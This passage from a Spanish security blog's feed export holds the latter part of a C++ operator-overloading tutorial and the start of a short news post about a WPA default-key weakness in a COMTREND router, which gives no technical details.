vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #0000dd;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;No inquietarse si el código no se entiende a la primera. Ya iré explicando con detalles mas adelante.&lt;br /&gt;&lt;h3&gt;&lt;b&gt;Que tiene que ver esto con la seguridad informática?&lt;/b&gt;&lt;/h3&gt;Directamente nada, indirectamente mucho. La mayoría de las vulnerabilidades en las aplicaciones se dan por errores de diseño u por descuidos. Al proveer una interfaz intuitiva para tu clase, logras reducir la tasa de errores de los programadores que la utilicen, facilitando el desarrollo de aplicaciones mas seguras y estables.   &lt;br /&gt;&lt;h3&gt;Cuando utilizar la sobrecarga de operadores?&lt;/h3&gt;Es normal que cuando uno intente resolver un problema, analice varias soluciones posibles, y luego bajo criterio propio&amp;nbsp; elija la mas adecuada para el caso determinado. Realmente es imposible tener una regla que aplique para todos los casos, y lo que hoy es mejor para determinada aplicación, puede ser lo peor para otra, por lo tanto nunca deben tomarse reglas absolutas y siempre hay que analizar el caso en particular. Sin embargo, se pueden seguir una pauta que es clave para decidir si se debe o no sobrecargar operadores.  Muchas personas usualmente me preguntan porque se utiliza la sobrecarga de operadores siendo que los beneficios que otorga no compensan el posible desorden del código. En reglas generales respondo siempre lo mismo: La sobrecarga de operadores no se utiliza para hacernos la vida mas fácil, si no para hacerle la vida mas fácil a los otros, a los usuarios de tus clases.  &lt;b&gt;Hacerle la vida mas fácil a los usuarios finales&lt;/b&gt; de tu clase es la regla principal que se debe seguir. Si se esta seguro de poder lograrlo, perfecto, pero si no se esta seguro lo mejor es volver a analizar el caso en particular ya que tal vez sobrecargar operadores no sea necesario o incluso puede volverse perjudicial.  &lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;h3&gt;Comenzando con la sobrecarga de operadores&lt;/h3&gt;&lt;b&gt;&lt;/b&gt;Antes que nada es esencial saber lo que es un operador. Un operador es un token que le indica al compilador que se van a realizar determinadas operaciones sobre objetos u variables –los operandos-. Es decir, si tenemos:&amp;nbsp;  a= b+c;  donde a, b y c son enteros, podemos decir que tenemos 3 operandos&amp;nbsp; (a, b y c) y 2 operadores (= y +). El comportamiento de la expresión y su significado están definidos por el lenguaje.  Ahora bien, C++ permite redefinir el comportamiento de la mayoría de los operadores para que realicen una tarea aparentemente similar a la que originalmente realizan pero con un comportamiento especifico acorde a los tipos de datos que hayamos creado, por ende podemos tener algo como: a=b+c; donde a,b y c son objetos del tipo MiClase.   Particularmente los operadores que se pueden sobrecargar son: &lt;br /&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;b&gt;+&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; %&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp;&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ~&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; !&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; +=&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;-=&amp;nbsp;&amp;nbsp;&amp;nbsp; *=&amp;nbsp;&amp;nbsp;&amp;nbsp; /=&amp;nbsp;&amp;nbsp;&amp;nbsp; %=&amp;nbsp;&amp;nbsp;&amp;nbsp; ^=&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp;=&amp;nbsp;&amp;nbsp;&amp;nbsp; |=&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;&amp;lt;&amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt;&amp;gt;=&amp;nbsp;&amp;nbsp; &amp;lt;&amp;lt;=&amp;nbsp;&amp;nbsp; ==&amp;nbsp;&amp;nbsp;&amp;nbsp; !=&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;=&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;&amp;gt;=&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp;&amp;amp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ||&amp;nbsp;&amp;nbsp;&amp;nbsp; ++&amp;nbsp;&amp;nbsp;&amp;nbsp; --&amp;nbsp;&amp;nbsp;&amp;nbsp; -&amp;gt;*&amp;nbsp;&amp;nbsp;&amp;nbsp; ,&lt;/b&gt;  &lt;br /&gt;&lt;b&gt;-&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; []&amp;nbsp;&amp;nbsp;&amp;nbsp; ()&amp;nbsp;&amp;nbsp;&amp;nbsp; new&amp;nbsp;&amp;nbsp; new[]&amp;nbsp; delete delete[]    &lt;/b&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;Los que no pueden sobrecargarse son:&lt;br /&gt;&lt;blockquote&gt;&lt;ul&gt;&lt;li&gt;Selector directo de componente &lt;b&gt;.&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Operador de indirección de puntero-a-miembro &lt;b&gt;.*&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Operador de acceso a ámbito &lt;b&gt;::&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Condicional ternario &lt;b&gt;?:&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Directivas de preprocesado &lt;b&gt;#&lt;/b&gt;&amp;nbsp;&amp;nbsp; y &lt;b&gt;# #&lt;/b&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;sizeof&lt;/b&gt; ,&amp;nbsp;&amp;nbsp; &lt;b&gt;typeid&lt;/b&gt; (si, son operadores también)&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;Cabe destacar que al sobrecargar un operador se puede modificar su comportamiento pero no cambiar el numero de operandos, ni la asociatividad ni la precedencia del operador respectivo.   &lt;br /&gt;&lt;h3&gt;Sintaxis de la sobrecarga de operadores &lt;/h3&gt;El prototipo de una sobrecarga de operador puede definirse como:&lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;tipo de retorno&lt;/span&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;gt;&lt;/span&gt; operator &lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt;&amp;nbsp; &lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;parametros&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;logica&lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt; &lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Es decir, el tipo de retorno, sumado al especificador operator seguido del operador que se desea sobrecargar.  Veamos de nuevo el ejemplo inicial:&lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;MiClase operator&lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;a, &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;b&lt;span style=&quot;color: green;&quot;&gt;);&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Para definir la lógica del operador, en este caso basta con definirla como si fuese cualquier otra función:&lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;MiClase operator&lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;a, &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; MiClase &lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt;b&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;return&lt;/span&gt; MiClase&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;a.&lt;span style=&quot;color: #007788;&quot;&gt;Num&lt;/span&gt; &lt;span style=&quot;color: #000040;&quot;&gt;+&lt;/span&gt; b.&lt;span style=&quot;color: #007788;&quot;&gt;Num&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Cabe destacar que que al sobrecargar un operador, como mínimo uno de los operandos debe ser un tipo definido por el usuario (generalmente una clase). No se puede sobrecargar un operador para que trabaje con dos tipos primitivos. Por ejemplo, alguien puede pensar en sobrecargar el operador “=” para poder asignar una cadena char* a otra cadena char* copiando el contenido como si fuese strcpy en lugar de asignar la dirección a la que apunta el puntero. Seria una idea valida, pero C++ no lo permite y por un motivo bastante claro. Si una operación tan simple como 1+1 puede tener distintos significados,&amp;nbsp; el compilador nunca estaría seguro de lo que 1+1 significa.  &lt;br /&gt;&lt;h3&gt;Miembros de la clase o función friend &lt;/h3&gt;Una de las dudas mas recurrentes es si un método debe ser miembro de la clase o una función friend. Pero primero que nada, que significa el especificador friend?  La razón por la cual existen métodos públicos, protegidos y privados radica en permitir al programador encapsular la implementación de su clase de la interfaz de esta. En la mayoría de las situaciones esto es esencial, pero hay casos específicos en el cual dicho esquema se torna un tanto rígido para lo que en realidad queremos hacer. Ahí es cuando entra el especificador friend, el cual permite que una función/clase tenga acceso total a otra clase de la cual no es miembro, saltando en cierta forma, el mecanismo de métodos públicos protegidos y privados.  La ventaja principal de las funciones friend es que la sintaxis suele ser mas legible dado que la llamada a un miembro es a.func() mientras que una función friend es simplemente func(). Dado esto el programador debe decidir cual de las dos sintaxis es mas legible para el caso en particular y optar por ella. La sobrecarga de un operador en la mayoría de las oportunidades requiere acceso a datos privados de la clase (siempre que no haya un miembro &lt;a href=&quot;http://en.wikipedia.org/wiki/Wrapper_function&quot; target=&quot;_blank&quot;&gt;wrapper&lt;/a&gt; mediante) y una sintaxis agradable a la vista. Esas son las razones principales por la cual generalmente las sobrecarga de los operadores van acompañadas del especificador de acceso friend.  No obstante los permisos otorgados a una clase/función no son hereditarios, transitivos ni recíprocos, es decir, casi igual que en la vida real:  &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Si tenemos una clase A que es amiga de B, las derivadas de la clase A no necesariamente tienen que tener acceso a la clase B. Es decir, la amistad no es hereditaria&lt;br /&gt;.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Si tenemos una clase A que es amiga de B, y B es amiga de C, A no tiene porque ser amiga de C. Es decir, la amistad no es transitiva.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Si tenemos una clase A que es amiga de B, B no tiene porque ser amiga de A. Es decir, la amistad no es reciproca.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Estas 3 reglas perjudican en cierta forma el concepto de orientación a objetos, y por esa razón una de las desventajas de las funciones friend es que requieren código extra para integrarlas completamente en un diseño OO. Las funciones friend deben utilizarse como una extensión de la interfaz y no mas, no debe abusarse. Por lo tanto la regla principal es usar miembros cuando puedas y funciones friend cuando debas.  Siendo que las funciones friend no son miembros de una clase, no pueden declararse virtuales, por lo tanto el enlace dinamico (&lt;a href=&quot;http://en.wikipedia.org/wiki/Dynamic_binding_%28computer_science%29&quot; target=&quot;_blank&quot;&gt;dynamic binding&lt;/a&gt;) no es posible directamente. Recordemos que para que un diseño sea orientado a objetos realmente, las funciones virtuales son necesarias, de lo contrario estamos hablando de un diseño basado en objetos.  Supongamos que queremos proveer una sobrecarga de operador que tenga la posibilidad de imprimir todo un grupo de clases. Dadas las limitaciones que vimos anteriormente, alguien podría pensar que la única forma es implementar la sobrecarga en cada clase, pero esto es un tanto incomodo, engorroso, y de seguro aumenta el costo de mantenimiento y con esto los posibles futuros fallos. Para resolver este pequeño problema, lo que se suele hacer es declarar una función friend de la clase base. Esta función simplemente delega el trabajo a otra función que es miembro que si es virtual, siendo esta ultima la que se reemplaza en cada clase derivada para realizar la tarea.  &lt;br /&gt;&lt;div #f8f9fa;?=&quot;&quot; background-color:=&quot;&quot; class=&quot;cpp&quot; courier,=&quot;&quot; courier=&quot;&quot; monospace;=&quot;&quot; new?,=&quot;&quot; style=&quot;font-size: small;&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;class&lt;/span&gt; Base &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;public&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;friend&lt;/span&gt; ostream&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; operator &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;ostream&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; o, &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; Base&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; b&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: blue;&quot;&gt;protected&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;virtual&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;void&lt;/span&gt; print&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;ostream&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; o&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt; ... &lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;inline&lt;/span&gt; std&lt;span style=&quot;color: teal;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #007788;&quot;&gt;ostream&lt;/span&gt;&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; operator&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;std&lt;span style=&quot;color: teal;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #007788;&quot;&gt;ostream&lt;/span&gt;&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; o, &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt; Base&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; b&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp; b.&lt;span style=&quot;color: #007788;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;o&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #666666;&quot;&gt;// Delega el trabajo a la funciÃ³n polimorfica&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;return&lt;/span&gt; o&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;class&lt;/span&gt; Derived &lt;span style=&quot;color: teal;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;public&lt;/span&gt; Base &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;protected&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: blue;&quot;&gt;virtual&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;void&lt;/span&gt; print&lt;span style=&quot;color: green;&quot;&gt;(&lt;/span&gt;ostream&lt;span style=&quot;color: #000040;&quot;&gt;&amp;amp;&lt;/span&gt; o&lt;span style=&quot;color: green;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;const&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: green;&quot;&gt;{&lt;/span&gt; ... &lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt; &lt;div style=&quot;background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color: teal;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;Esto se conoce como &lt;a href=&quot;http://www.parashift.com/c++-faq-lite/input-output.html#faq-15.11&quot;&gt;Virtual Friend Function Idiom&lt;/a&gt;.   Por hoy dejo esto aquí para no liar a nadie, cualquier duda y demás, aquí, por &lt;a href=&quot;http://www.needofsecurity.com.ar/p/contacto.html&quot; target=&quot;_blank&quot;&gt;mail&lt;/a&gt; o en el &lt;a href=&quot;https://foro.elhacker.net/programacion_cc-b49.0/&quot; target=&quot;_blank&quot;&gt;foro&lt;/a&gt;&amp;nbsp;  Para la próxima sigo con los templates, q es otra de las causas de dolores de cabeza.  Saludos!</content><link rel='replies' type='application/atom+xml' href='http://www.needofsecurity.com.ar/feeds/6032775849725518966/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/sobrecarga-de-operadores-en-c.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/6032775849725518966'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1547170927549978957/posts/default/6032775849725518966'/><link rel='alternate' type='text/html' href='http://www.needofsecurity.com.ar/2010/12/sobrecarga-de-operadores-en-c.html' title='Sobrecarga de operadores en C++.'/><author><name>Matías</name><uri>http://www.blogger.com/profile/16169022480058479255</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1547170927549978957.post-8238556267613494971</id><published>2010-12-15T11:36:00.003-03:00</published><updated>2010-12-18T00:48:43.889-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Bugs"/><category scheme="http://www.blogger.com/atom/ns#" term="COMTREND"/><category scheme="http://www.blogger.com/atom/ns#" term="SeguridadWireless"/><category scheme="http://www.blogger.com/atom/ns#" term="WPA"/><title type='text'>Fallo de seguridad en el router COMTREND.</title><content type='html'>Desde &lt;a href=&quot;http://www.seguridadwireless.net/&quot;&gt;SeguridadWireless&lt;/a&gt; informan de la detección de un fallo de seguridad en el router COMTREND modelo CT-5365. Este  fallo de seguridad afecta a la generación de la clave WPA-PSK con que  dicho modelo de router viene configurado por defecto y permite averiguar  y/o predecir dicha clave de forma trivial.&lt;br /&gt;&lt;br /&gt;Así mismo han  comprobado y verificado que este fallo afecta a varios de los ISP que en  España distribuyen este modelo de router a usuarios domésticos.&lt;br /&gt;&lt;br /&gt;Mas información en &lt;a href=&quot;http://www.seguridadwireless.net/wpamagickey.php&quot;&gt;SeguridadWireless&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;#&lt;b&gt;Update&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Las compañías involucradas aparentemente han pedido que la información se mantenga en secreto por el momento. &lt;br /&gt;Muchos rumores han corrido bajo el puente, que hubo dinero en el medio, que hubo demandas y demas mentiras de gente que le gusta hablar por hablar.&lt;br /&gt;&lt;br /&gt;La realidad es que simplemente las compañías han pedido que las características técnicas del fallo no se publiquen mientras el fabricante puede solucionarlo.&lt;br /&gt;Verdaderamente la ética de seguridadwireless.net es incuestionable, y realmente que haya tantos rumores en contra demuestra que hay bastante envidia de parte de muchos, lo cual en cierta forma demuestra que el trabajo lo vienen haciendo bien, hecho del cual tampoco quedan dudas.&lt;br /&gt;&lt;br /&gt;Lamentablemente hay una realidad negativa en 